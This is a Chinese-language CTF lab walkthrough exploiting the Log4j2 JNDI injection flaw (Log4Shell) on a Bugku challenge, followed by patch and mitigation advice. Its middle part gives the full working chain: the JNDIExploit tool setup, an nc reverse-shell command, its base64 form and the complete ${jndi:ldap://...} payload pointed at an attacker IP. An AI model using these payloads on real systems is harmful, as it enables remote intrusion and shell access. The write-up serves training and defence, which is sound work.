本次用ctf.bugku在线靶场,通过 JNDIExploit-1.2-SNAPSHOT.jar ,利过 ${jndi: ldap://x.x.x.x:1389/Basic/Command/Base64/[base64加密后命令 ]} 进行反弹shell。
一、漏洞介绍
1、漏洞简介
Apache Log4j2是一款优秀的Java日志框架。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。由于Apache Log4j 2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。
此次漏洞主要是 Log4j2 内含的 lookup 功能存在 JNDI 注入漏洞,该功能可以帮助开发者通过一些协议读取相应环境中的配置。漏洞触发方式非常简单,只要日志内容中包含关键词 ${,那么这里面包含的内容就可以作为变量进行替换,攻击者无需任何权限,可以执行任意命令。
2、影响范围
受影响版本:Apache log4j2 2.0 ~ 2.15.0-rc1
安全版本:Apache log4j-2.17正式版或更新版本
同时如果使用了以下应用,也会被此次漏洞影响:
Spring-Boot-strater-log4j2
Apache Struts2
Apache Solr
Apache Flink
Apache Druid
ElasticSearch
flume
dubbo
logstash
kafka
二、靶场环境
1、靶场题目
地址 https://ctf.bugku.com/challenges/detail/id/340.html?page=1
2、攻击机
云服务器Centos7 198.211.8.165
关闭seliux和防火墙
三、安装java环境(如已有环境可省略)
1、安装jdk
rpm -ivh https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.rpm
查看安装结果
java -version
2、配置环境变量-用户环境变量
vi /etc/profile
export JAVA_HOME=/usr/java/jdk1.8.0_202-amd64
export JAVA_BIN=/usr/java/jdk1.8.0_202-amd64/bin
export PATH=$PATH:$JAVA_HOME/bin
export CLASSPATH=:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export JAVA_HOME JAVA_BIN PATH CLASSPATH
使配置生效
source /etc/profile
四、攻击利用
1、在云服务器下载工具并解压
yum install nc git -y
git clone https://github.com/black9/Log4shell_JNDIExploit.git
2、开启ldap和http服务监听
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 198.211.8.165 -p 8080
3、新开一个shell开启nc监听,等待反弹
4、进行jndi注入攻击
1)攻击思路
${jndi: ldap://x.x.x.x:1389/Basic/Command/Base64/[base64加密后命令 ]}
直接填写base64加密的反弹shell命令即可
nc x.x.x.x 12345 -e /bin/sh
nc 198.211.8.165 12345 -e /bin/sh
base64加密后:
bmMgMTk4LjIxMS44LjE2NSAxMjM0NSAtZSAvYmluL3No
3)把这条注入代码填到登陆的user框中, 密码随便填一个即可
完整的payload:
${jndi: ldap://198.211.8.165:1389/Basic/Command/Base64/bmMgMTk4LjIxMS44LjE2NSAxMjM0NSAtZSAvYmluL3No }
4)攻击工具的日志
5)说明成功反弹到了shell
输入 ls cat flag 等命令即可执行
五、漏洞修复
Apache Log4j 远程代码执行漏洞自助处置手册 https://docs.qq.com/doc/DWENFT3ZjY1VnRG11
Log4j2 漏洞检测工具清单
https://mp.weixin.qq.com/s/8faCxZkp04RNFvXaZYhGFA
官方补丁
升级Apache Log4j所有相关应用到 Log4j-2.1 7 或更新的 官方稳定 版本。
补丁地址: https://logging.apache.org/log4j/2.x/download.html
缓解措施
- 版本>=2.10.0, 修 改Java虚拟机启动参数,添加-Dlog4j2.formatMsgNoLookups=true
- 版本>=2.10.0, 代码中配置System.setProperty(“log4j2.formatMsgNoLookups”, “true”),重新打包jar包
- 移除log4j-core包中JndiLookup 类文件,并重启服务